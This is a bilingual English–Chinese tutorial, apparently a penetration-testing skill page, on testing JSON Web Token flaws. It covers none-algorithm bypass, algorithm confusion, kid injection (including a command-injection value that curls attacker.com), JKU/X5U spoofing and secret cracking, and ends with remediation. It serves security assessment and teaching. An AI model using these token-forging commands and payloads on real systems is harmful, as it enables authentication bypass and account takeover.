testing-for-json-web-token-vulnerabilities

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing for JSON Web Token Vulnerabilities

JSON Web Token(JWT)漏洞测试

When to Use

适用场景

  • When testing applications using JWT for authentication and session management
  • During API security assessments where JWTs are used for authorization
  • When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
  • During penetration testing of single sign-on (SSO) systems
  • When auditing JWT library configurations for known vulnerabilities
  • 测试使用JWT进行认证和会话管理的应用程序时
  • 在使用JWT进行授权的API安全评估期间
  • 评估使用JWT的OAuth 2.0或OpenID Connect实现时
  • 在单点登录(SSO)系统的渗透测试期间
  • 审计JWT库配置中的已知漏洞时

Prerequisites

前置条件

  • jwt_tool (Python JWT exploitation toolkit)
  • Burp Suite with JWT Editor extension
  • jwt.io for decoding and inspecting JWT structure
  • Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
  • hashcat or john for brute-forcing weak JWT secrets
  • Python PyJWT library for custom JWT forging scripts
  • Access to application using JWT-based authentication
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
  • jwt_tool(Python JWT利用工具包)
  • 带有JWT Editor扩展的Burp Suite
  • 用于解码和检查JWT结构的jwt.io
  • 了解JWT结构(header.payload.signature)和算法(HS256、RS256)
  • 用于暴力破解弱JWT密钥的hashcat或john
  • 用于自定义JWT伪造脚本的Python PyJWT库
  • 访问使用基于JWT认证的应用程序
法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权对不属于您或未获得书面测试许可的系统使用本技能是非法的,可能违反计算机欺诈相关法律。

Workflow

测试流程

Step 1 — Decode and Analyze JWT Structure

步骤1 — 解码并分析JWT结构

bash
undefined
bash
undefined

Install jwt_tool

安装jwt_tool

pip install pyjwt git clone https://github.com/ticarpi/jwt_tool.git
pip install pyjwt git clone https://github.com/ticarpi/jwt_tool.git

Decode JWT without verification

无需验证解码JWT

python3 jwt_tool.py <JWT_TOKEN>
python3 jwt_tool.py <JWT_TOKEN>

Decode manually with base64

使用base64手动解码

echo "<header_base64>" | base64 -d echo "<payload_base64>" | base64 -d
echo "<header_base64>" | base64 -d echo "<payload_base64>" | base64 -d

Examine JWT in jwt.io

在jwt.io中检查JWT

Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)

检查:算法(alg)、密钥ID(kid)、发行者(iss)、受众(aud)

Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

检查:过期时间(exp)、生效时间(nbf)、声明(role、admin等)

Example JWT header inspection

JWT头部检查示例

{"alg":"RS256","typ":"JWT","kid":"key-1"}

{"alg":"RS256","typ":"JWT","kid":"key-1"}

Look for: alg, kid, jku, jwk, x5u, x5c headers

查找:alg、kid、jku、jwk、x5u、x5c头部

undefined
undefined

Step 2 — Test "None" Algorithm Bypass

步骤2 — 测试“None”算法绕过

bash
undefined
bash
undefined

Change algorithm to "none" and remove signature

将算法改为"none"并移除签名

python3 jwt_tool.py <JWT_TOKEN> -X a
python3 jwt_tool.py <JWT_TOKEN> -X a

Manual none algorithm attack:

手动执行none算法攻击:

Original header: {"alg":"HS256","typ":"JWT"}

原始头部:{"alg":"HS256","typ":"JWT"}

Modified header: {"alg":"none","typ":"JWT"}

修改后的头部:{"alg":"none","typ":"JWT"}

Encode new header, keep payload, remove signature (empty string after last dot)

编码新头部,保留负载,移除签名(最后一个点后为空字符串)

Variations to try:

尝试不同变体:

"alg": "none"

"alg": "none"

"alg": "None"

"alg": "None"

"alg": "NONE"

"alg": "NONE"

"alg": "nOnE"

"alg": "nOnE"

Send forged token

发送伪造的令牌

curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

jwt_tool automated none attack

jwt_tool自动化none攻击

python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
undefined
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
undefined

Step 3 — Test Algorithm Confusion (RS256 to HS256)

步骤3 — 测试算法混淆(RS256转HS256)

bash
undefined
bash
undefined

If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

如果服务器使用RS256,尝试使用公钥作为HMAC密钥切换到HS256

Step 1: Obtain the public key

步骤1:获取公钥

From JWKS endpoint

从JWKS端点获取

From SSL certificate

从SSL证书获取

openssl s_client -connect target.com:443 </dev/null 2>/dev/null |
openssl x509 -pubkey -noout > public_key.pem
openssl s_client -connect target.com:443 </dev/null 2>/dev/null |
openssl x509 -pubkey -noout > public_key.pem

Step 2: Forge token using public key as HMAC secret

步骤2:使用公钥作为HMAC密钥伪造令牌

python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

Manual algorithm confusion:

手动执行算法混淆:

Change header from {"alg":"RS256"} to {"alg":"HS256"}

将头部从{"alg":"RS256"}改为{"alg":"HS256"}

Sign with public key using HMAC-SHA256

使用HMAC-SHA256用公钥签名

python3 -c " import jwt with open('public_key.pem', 'r') as f: public_key = f.read() payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000} token = jwt.encode(payload, public_key, algorithm='HS256') print(token) "
undefined
python3 -c " import jwt with open('public_key.pem', 'r') as f: public_key = f.read() payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000} token = jwt.encode(payload, public_key, algorithm='HS256') print(token) "
undefined

Step 4 — Test Key ID (kid) Parameter Injection

步骤4 — 测试密钥ID(kid)参数注入

bash
undefined
bash
undefined

SQL Injection via kid

通过kid进行SQL注入

python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--"
-S hs256 -p "secret-key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--"
-S hs256 -p "secret-key"

Path Traversal via kid

通过kid进行路径遍历

python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null"
-S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null"
-S hs256 -p ""

Kid pointing to empty file (sign with empty string)

kid指向空文件(使用空字符串签名)

python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

SSRF via kid (if kid fetches remote key)

通过kid进行SSRF(如果kid获取远程密钥)

python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

Command injection via kid (rare but possible)

通过kid进行命令注入(罕见但可能)

python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
undefined
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
undefined

Step 5 — Test JKU/X5U Header Injection

步骤5 — 测试JKU/X5U头部注入

bash
undefined
bash
undefined

JKU (JSON Web Key Set URL) injection

JKU(JSON Web密钥集URL)注入

Point jku to attacker-controlled JWKS

将jku指向攻击者控制的JWKS

Step 1: Generate key pair

步骤1:生成密钥对

python3 jwt_tool.py <JWT_TOKEN> -X s
python3 jwt_tool.py <JWT_TOKEN> -X s

Step 2: Host JWKS on attacker server

步骤2:在攻击者服务器上托管JWKS

jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

jwt_tool会生成jwks.json - 将其托管在http://attacker.com/.well-known/jwks.json

Step 3: Modify JWT header to point to attacker JWKS

步骤3:修改JWT头部以指向攻击者的JWKS

python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

X5U (X.509 certificate URL) injection

X5U(X.509证书URL)注入

Similar to JKU but using X.509 certificate chain

与JKU类似,但使用X.509证书链

python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"

Embedded JWK attack (inject key in JWT header itself)

嵌入JWK攻击(在JWT头部中注入密钥)

python3 jwt_tool.py <JWT_TOKEN> -X i
undefined
python3 jwt_tool.py <JWT_TOKEN> -X i
undefined

Step 6 — Brute-Force Weak JWT Secrets

步骤6 — 暴力破解弱JWT密钥

bash
undefined
bash
undefined

Brute-force HMAC secret with hashcat

使用hashcat暴力破解HMAC密钥

hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

Using jwt_tool wordlist attack

使用jwt_tool字典攻击

python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

Using john the ripper

使用John the Ripper

echo "<JWT_TOKEN>" > jwt.txt john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
echo "<JWT_TOKEN>" > jwt.txt john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

Common weak secrets to try:

常见弱密钥尝试:

secret, password, 123456, admin, test, key, jwt_secret

secret, password, 123456, admin, test, key, jwt_secret

Also try: application name, company name, domain name

也可尝试:应用名称、公司名称、域名

Once secret is found, forge arbitrary tokens

找到密钥后,伪造任意令牌

python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret"
-I -pc role -pv admin -pc sub -pv "admin@target.com"
undefined
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret"
-I -pc role -pv admin -pc sub -pv "admin@target.com"
undefined

Key Concepts

核心概念

ConceptDescription
Algorithm ConfusionSwitching from asymmetric (RS256) to symmetric (HS256) using public key as secret
None AlgorithmSetting alg to "none" to create unsigned tokens accepted by misconfigured servers
Kid InjectionExploiting the Key ID header parameter for SQLi, path traversal, or SSRF
JKU/X5U InjectionPointing key source URLs to attacker-controlled servers for key substitution
Weak SecretHMAC secrets that can be brute-forced using dictionary attacks
Claim TamperingModifying payload claims (role, sub, admin) after bypassing signature verification
Token ReplayReusing valid JWTs after the intended session should have expired
概念描述
算法混淆从非对称算法(RS256)切换到对称算法(HS256),使用公钥作为密钥
None算法将alg设置为"none",创建服务器接受的无签名令牌(服务器配置错误时)
Kid注入利用密钥ID头部参数进行SQL注入、路径遍历或SSRF
JKU/X5U注入将密钥源URL指向攻击者控制的服务器以替换密钥
弱密钥可通过字典攻击暴力破解的HMAC密钥
声明篡改绕过签名验证后修改负载声明(role、sub、admin等)
令牌重放在会话应过期后重用有效的JWT

Tools & Systems

工具与系统

ToolPurpose
jwt_toolComprehensive JWT testing and exploitation toolkit
JWT Editor (Burp)Burp Suite extension for JWT manipulation and attack automation
hashcatGPU-accelerated JWT secret brute-forcing (mode 16500)
john the ripperCPU-based JWT secret cracking
jwt.ioOnline JWT decoder and debugger for inspection
PyJWTPython library for programmatic JWT creation and verification
工具用途
jwt_tool全面的JWT测试与利用工具包
JWT Editor(Burp)Burp Suite扩展,用于JWT操作和攻击自动化
hashcatGPU加速的JWT密钥暴力破解工具(模式16500)
John the Ripper基于CPU的JWT密钥破解工具
jwt.io在线JWT解码和调试工具,用于检查结构
PyJWT用于程序化创建和验证JWT的Python库

Common Scenarios

常见场景

  1. None Algorithm Bypass — Change JWT algorithm to "none", remove signature, and forge admin tokens on servers that accept unsigned JWTs
  2. Algorithm Confusion RCE — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access
  3. Kid SQL Injection — Inject SQL payload in kid parameter to extract the signing key from the database
  4. Weak Secret Cracking — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user
  5. JKU Server Spoofing — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key
  1. None算法绕过 — 将JWT算法改为"none",移除签名,在接受无签名JWT的服务器上伪造管理员令牌
  2. 算法混淆权限提升 — 使用泄露的公钥将RS256切换为HS256,伪造任意令牌以获取管理员权限
  3. Kid SQL注入 — 在kid参数中注入SQL payload,从数据库中提取签名密钥
  4. 弱密钥破解 — 使用hashcat暴力破解HMAC-SHA256密钥,为任意用户伪造JWT
  5. JKU服务器欺骗 — 将JKU头部指向攻击者控制的JWKS端点,使用攻击者的私钥签名令牌

Output Format

输出格式

undefined
undefined

JWT Security Assessment Report

JWT安全评估报告

Findings

发现的问题

#VulnerabilityTechniqueImpactSeverity
1None algorithm acceptedalg: "none"Auth bypassCritical
2Algorithm confusionRS256 -> HS256Token forgeryCritical
3Weak HMAC secretBrute-force: "secret123"Full token forgeryCritical
4Kid path traversalkid: "../../dev/null"Sign with empty keyHigh
#漏洞技术手段影响严重程度
1接受none算法alg: "none"认证绕过关键
2算法混淆RS256 -> HS256令牌伪造关键
3弱HMAC密钥暴力破解:"secret123"完全令牌伪造关键
4Kid路径遍历kid: "../../dev/null"使用空密钥签名

Remediation

修复建议

  • Enforce algorithm whitelist in JWT verification (reject "none")
  • Use asymmetric algorithms (RS256/ES256) with proper key management
  • Implement strong, random secrets for HMAC algorithms (256+ bits)
  • Validate kid parameter against a strict allowlist
  • Ignore jku/x5u headers or validate against known endpoints
  • Set appropriate token expiration (exp) and implement token revocation
undefined
  • 在JWT验证中强制使用算法白名单(拒绝"none")
  • 使用非对称算法(RS256/ES256)并妥善管理密钥
  • 为HMAC算法使用强随机密钥(256位以上)
  • 针对严格的允许列表验证kid参数
  • 忽略jku/x5u头部或针对已知端点进行验证
  • 设置适当的令牌过期时间(exp)并实现令牌吊销机制
undefined